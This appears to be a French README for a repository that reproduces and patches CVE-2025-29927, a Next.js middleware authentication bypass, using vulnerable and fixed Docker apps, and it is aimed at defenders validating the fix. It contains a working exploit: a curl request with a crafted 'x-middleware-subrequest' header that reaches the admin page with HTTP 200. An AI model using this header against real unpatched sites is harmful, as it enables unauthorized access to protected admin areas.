
Reproduction et correctif de la vulnérabilité CVE-2025-29927.
Reproduction et correction de la vulnérabilité CVE-2025-29927.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
Dans vulnerable/ se trouve une version de l'application vulnérable à l'attaque. Dans fixed/ se trouve une version de l'application mise à niveau vers la version minimale qui corrige la vulnérabilité.
⚠️ Important : Ces exemples sont fournis aux défenseurs, chercheurs et équipes validant les correctifs. Ne pas exécuter ces images sur des réseaux publics ou de production. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.
Reproduction de la vulnérabilité CVE-2025-29927.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
Exécutez cette commande, qui devrait être redirigée vers la page de connexion
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Exécutez ensuite cette commande, qui devrait pouvoir accéder à la page admin
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
Correction de la vulnérabilité CVE-2025-29927.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
Exécutez cette commande, qui devrait être redirigée vers la page de connexion
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Exécutez ensuite cette commande, qui devrait maintenant aussi être redirigée vers la page de connexion
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Ce dépôt est basé sur l1uk/nextjs-middleware-exploit, mais adapté pour la version 15.x de Next.js.